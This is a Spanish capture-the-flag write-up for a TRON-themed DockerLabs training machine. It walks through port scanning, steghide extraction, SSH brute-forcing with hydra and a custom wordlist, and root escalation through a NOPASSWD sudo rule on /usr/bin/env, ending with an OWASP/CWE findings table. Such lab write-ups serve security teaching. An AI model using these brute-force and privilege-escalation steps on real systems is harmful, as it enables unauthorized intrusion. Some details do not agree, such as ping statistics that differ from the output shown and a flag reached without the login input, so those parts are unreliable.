0. Taller de hacking ético dockerlabs.es: Hannah Coffee
- Plataforma: dockerlabs.es
- Nombre de la máquina: Tron
- Estado del laboratorio: WIP
- Dificultad: Fácil
- URL del taller: https://dockerlabs.es/maquinas/297/
Este laboratorio está inspirado en el universo digital de TRON: Legacy. Combina técnicas de enumeración de red en el Grid, esteganografía de archivos ocultos por el Creador, ataques de fuerza bruta dirigidos contra protocolos de acceso seguro y la vulneración de directivas binarias para tomar el control absoluto del sistema central de Kevin Flynn.
1. Reconocimiento y Enumeración
Descargamos, descomprimimos y lanzamos el docker, nos informa que la IP de la máquina a auditar es 172.17.0.2
unzip hannah_coffee.zip
sudo bash auto_deploy.sh hannah-coffee.tar
1.1. Comprobación de la conectividad
┌──(alberto㉿kali)-[~/Descargas]
└─$ ping -c 2 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.146 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.119 ms
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1031ms
rtt min/avg/max/mdev = 0.119/0.132/0.146/0.013 ms
- El
ttl=64(Time to Live) confirma que el destino está en nuestra propia máquina o en la misma red local/Docker. 64 es el valor por defecto en Linux. rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms: Las estadísticas de tiempo (mínimo, promedio, máximo y desviación estándar). El tiempo medio es de apenas 0.1 milisegundos, lo cual demuestra una comunicación prácticamente instantánea.
Observamos una página web simple, con una imagen y un h1 sin aparentemente nada más.No hay comentarios ni caracteres ocultos en el código. Analizaremos más adelante la imagen.
1.2. Escaneo de puertos completo
nmap -sC -sV -Pn -n -T4 -p- --open 172.17.0.2
-p-: escanea los 65535 puertos TCP.-sV: detección de versión de servicio.-sS: escaneo silencioso-sC: ejecuta los scripts NSE por defecto (banners, títulos HTTP, etc.).-Pn: para no ejecutar el comandoping, ya que algunas máquinas tienen deshabilitado el ping porpmotivos de seguridad.-n: Para que no haga la resolución de DNSs--open: muestra solo puertos abiertos.-T4: plantilla de velocidad "agresiva" (adecuada en local).
┌──(alberto㉿kali)-[~/Descargas]
└─$ nmap -sC -sV -Pn -n -T4 -p- --open 172.17.0.2
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-24 09:05 +0200
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Ubuntu 2ubuntu3.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.66 ((Ubuntu))
|_http-server-header: Apache/2.4.66 (Ubuntu)
|_http-title: TRON
MAC Address: 8E:BF:CB:70:4C:7F (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
Hallazgos:
| Puerto | Servicio | Columna 3 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 10.2p1 Ubuntu 2ubuntu3.8 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | HTTP | Apache httpd 2.4.66 ((Ubuntu)) |
1.3. Fuzzing de Directorios y Archivos:
gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
No encuentra nada, pruebo otros diccionarios:
gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/common.txt
A simple vista, el resultado del gobuster parece un callejón sin salida porque solo muestra archivos comunes de Apache (index.html, protecciones .htaccess que devuelven 403 Forbidden, etc.).
Probaremos con la imagen de la web. El propio taller ya nos dice que debemos investigar algo oculto en ella (esteganografía).
1.3. Esteganografía. Analisis de la imagen de la web.
La esteganografía es el arte y la técnica de ocultar información (un mensaje, archivo o código) dentro de otro archivo o medio de apariencia inocua, de modo que nadie note que esa comunicación existe.
Se utiliza modificando de forma casi imperceptible los datos de un archivo común para insertar el contenido oculto:
- Imágenes: Se altera el bit menos significativo (método LSB, por sus siglas en inglés) de los colores en los píxeles de una fotografía. El ojo humano no percibe el cambio de color, pero un programa puede extraer el código binario incrustado.
- Audio y Video: Se insertan variaciones sutiles en las frecuencias, amplitudes o capas multimedia.
- Texto y Red: Se usan espacios en blanco invisibles, variaciones de caracteres o campos vacíos en el tráfico de paquetes de red.
Analizamos si la imagen tiene metadatos
Usamos Exiftool para buscar metadatos:
└─$ exiftool tron.jpg
ExifTool Version Number : 13.55
File Name : tron.jpg
Directory : .
File Size : 30 kB
File Modification Date/Time : 2026:10:24 13:54:47+02:00
File Access Date/Time : 2026:10:24 13:56:02+02:00
File Inode Change Date/Time : 2026:10:24 13:54:47+02:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 518
Image Height : 415
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 518x415
Megapixels : 0.215
No encontramos nada relevante. Vamos a probar StegHide:
┌──(alberto㉿kali)-[~/Descargas]
└─$ steghide info tron.jpg
"tron.jpg":
formato: jpeg
capacidad: 1,5 KB
�Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto:
El comando steghide info confirmó que la imagen esconde datos (tiene una capacidad de 1,5 KB) y te está pidiendo una contraseña (Anotar salvoconducto), lo que significa que hay un archivo oculto dentro de tron.jpg protegido por contraseña.
Vamos a intentar hacer algo de ingeniería social y pedir a la IA qeu nos proporcione una lista de palabras clave del universo Tron. Guardaremos esa lista en un archivo de texto para usarlo como diccionario de fuerza bruta:
cat << 'EOF' > tron.txt
tron
flynn
sam
quorra
clu
tron
rinzler
zuse
castor
jarvis
iso
creator
user
program
sark
mcp
alan
bradley
dillinger
encom
disco
legacy
EOF
Vamos a crear un shell script para probar todas estas contraseñas que guardaremos como tron_brute.sh:
#!/bin/bash
WORDLIST="/home/alberto/Descargas/tron.txt"
IMAGE="/home/alberto/Descargas/tron.jpg"
for pass in $(cat "$WORDLIST"); do
echo "Probando: $pass en $IMAGE"
steghide extract -sf tron.jpg -p "$pass" -f
done
Damos permisos de ejecución chmod +x tron_brute.sh y ejecutamos ./tron_brute.sh:
┌──(alberto㉿kali)-[~/Descargas]
└─$ ./tron_brute.sh
Probando: flynn en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: sam en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: quorra en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: clu en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: tron en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: rinzler en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: zuse en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: castor en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: jarvis en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: iso en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: creator en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: user en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: program en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: sark en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: mcp en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: alan en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: bradley en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: dillinger en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: encom en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
No ha habido suerte. Así que probaremos con otro diccionario: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt. Pero antes probamos sin contraseña... Era así de sencillo, no habñia contraseña.
Nos ha descargado un archivo: disco.txt. Lo abrimos y el contiene el siguiente texto:
quorra
"Lo que pasa con la perfección es que es incognoscible. Es imposible, pero también está justo frente a nosotros todo el tiempo."
Se trata de una cita de la película Tron Legacy hecha por el personaje Quorra. Esta información puede ser valiosa. Es hora de investigar el otro puerto abierto, el 22 con un servicio SSH.
2. Explotación
Vimos que el puerto 22 con servicio SSH estaba abierto. Desconocemos el usuario y la contraseña así que primero trataremos de encontrar el usuario y posteriormente la contraseña. Usaremos primero ingeniería social para descubrir ambos y en caso de no tener éxito iremos por la fuerza bruta.
Ya que la temática es Tron Legacy usaremos el mini diccionario que hemos creado anteriormente tron.txt. En primer lugar sin embargo probaremos el usuario quorra ya que es la pista que hemos logrado por esteganografía.
No hemos tenido éxito con el usuario y contraseña quorra, supongo que la pista servirá para más adelante. Usaremos fuerza bruta partiendo el diccionario tron.txt que creamos previamente:
hydra -L tron.txt -P tron.txt ssh://172.17.0.2 -t 4
-L: pide una lista de usuarios-P: pide una lista de contraseñas-t 4: Hydra abrirá 4 hilos de trabajo simultáneos para probar las combinaciones de usuario y contraseña.
Lo lanzamos, y muy pronto obtenemos el resultado que estábamos esperando, tanto el usuario como la contraseña son tron, desde luego una contraseña muy débil.
Entramos en el servidor por SSH:
┌──(alberto㉿kali)-[~/Descargas]
└─$ ssh tron@172.17.0.2
tron@172.17.0.2's password:
Welcome to Ubuntu 26.04.1 LTS (GNU/Linux 6.19.14+kali-amd64 x86_64)
* Documentation: https://docs.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
tron@e03e84939b98:~$
3. Escalado de privilegios.
Un vistazo rápido y un intento tonto por si suena la flauta:
tron@e03e84939b98:~$ ls -la
total 28
drwxr-x--- 1 tron tron 4096 Oct 24 17:44 .
drwxr-xr-x 1 root root 4096 Oct 19 04:28 ..
-rw-r--r-- 1 tron tron 220 Feb 13 2026 .bash_logout
-rw-r--r-- 1 tron tron 3771 Feb 13 2026 .bashrc
drwx------ 2 tron tron 4096 Oct 24 17:44 .cache
-rw-r--r-- 1 tron tron 807 Feb 13 2026 .profile
tron@e03e84939b98:~$ id
uid=1001(tron) gid=1001(tron) groups=1001(tron)
tron@e03e84939b98:~$ sudo -l
Matching Defaults entries for tron on e03e84939b98:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tron may run the following commands on e03e84939b98:
(ALL) NOPASSWD: /usr/bin/env
¡Bingo! El resultado de sudo -l nos dice que el usuario tron puede ejecutar el comando /usr/bin/env con privilegios de root ((ALL)) sin necesidad de introducir contraseña (NOPASSWD). La explotación de este binario para conseguir tal efecto está documentada en GTFOBins
tron@e03e84939b98:~$ sudo /usr/bin/env /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
Lo tenemos, hemos conseguido permisos de root, escalada de permisos completada. Ahora que tenemos el control absoluto del sistema central de Kevin Flynn, el último paso en cualquier CTF es encontrar la bandera (flag) y reclamar nuestra victoria.
4. Capturar la bandera.
Por lo general la bandera, si no se ha querido ocultar mucho, suele estar en:
- El directorio personal del usuario root (/root/).
- El directorio raíz del sistema (/).
- en algún archivo de configuración especial dentro del Grid.
# cd /root
# pwd
/root
# ls -la
total 44
drwx------ 1 root root 4096 Oct 19 20:47 .
drwxr-xr-x 1 root root 4096 Oct 24 11:15 ..
-rw-r--r-- 1 root root 3106 Apr 20 2026 .bashrc
-rw-r--r-- 1 root root 132 Apr 20 2026 .profile
drwx------ 2 root root 4096 Oct 19 00:35 .ssh
-rwxr-xr-x 1 root root 17528 Oct 19 20:47 login_flynn
-rw-r--r-- 1 root root 87 Oct 19 20:47 sistema.txt
El archivo sistema nos deja un mensaje para nosotros:
# cat sistema.txt
te hacke no eres root «La única forma de ganar el juego es no jugar»
¿esta seguro?
El archivo login_flynn es un ejecutable, lo ejecutamos y nos pide un login, ahora si vamos a probar la pista conseguida dentro de la imagen (quorra):
# ./login_flynn
=========================================
RED JOHN
=========================================
Username:
Tenemos nuestra bandera: DL{disco}
5. Vulnerabilidades encontradas.
| Identificación | VULN-01 |
|---|---|
| Severidad / Nivel | MEDIA |
| Categoría OWASP | OWASP Top 10 (2021) A07:2021 - Identification and Authentication Failures (Fallos de Identificación y Autenticación) y A02:2021 - Cryptographic Failures (si se considera la protección débil de los datos). |
| Identificador CWE | CWE-798: Use of Hard-coded Credentials (Uso de credenciales incrustadas/predecibles) o CWE-326: Inadequate Encryption Strength (Fuerza de cifrado inadecuada en el contenedor esteganográfico). |
| Elemento Afectado | Imagen http://172.17.0.2/tron.jpg El archivo secreto o la contraseña para extraerlo es predecible, débil o accesible públicamente, facilitando el acceso inicial al atacante. En este caso no había contraseña y además el archivo arrojaba una pista para conseguir las credenciales para obtener la bandera. |
| Identificación | VULN-02 |
|---|---|
| Severidad / Nivel | ALTA |
| Categoría OWASP | OWASP Top 10 (2021) A07:2021 - Identification and Authentication Failures (Falta de limitación de intentos de inicio de sesión o bloqueo por fuerza bruta). |
| Identificador CWE | CWE-307: Improper Restriction of Excessive Authentication Attempts (Restricción inadecuada de intentos excesivos de autenticación) y CWE-521: Weak Password Requirements (Requisitos de contraseñas débiles) |
| Elemento Afectado | El servicio SSH (172.17.0.2) permitió realizar ataques de fuerza bruta o adivinación de credenciales (con Hydra) debido al uso de contraseñas débiles asociadas al usuario tron. |
| Identificación | VULN-03 |
|---|---|
| Severidad / Nivel | CRÍTICA |
| Categoría OWASP | OWASP Top 10 (2021) A01:2021 - Broken Access Control (Control de Acceso Roto). Ocurre cuando los permisos no se aplican correctamente o se otorgan privilegios excesivos a cuentas de usuario de bajo nivel |
| Identificador CWE | CWE-250: Execution with Unnecessary Privileges (Ejecución con privilegios innecesarios) y CWE-269: Improper Privilege Management (Gestión inadecuada de privilegios). |
| Elemento Afectado | El usuario tron tenía permisos para ejecutar el binario /usr/bin/env como root sin contraseña (NOPASSWD). Esto permitió invocar una shell del sistema con privilegios elevados de forma inmediata. |
[EOF]
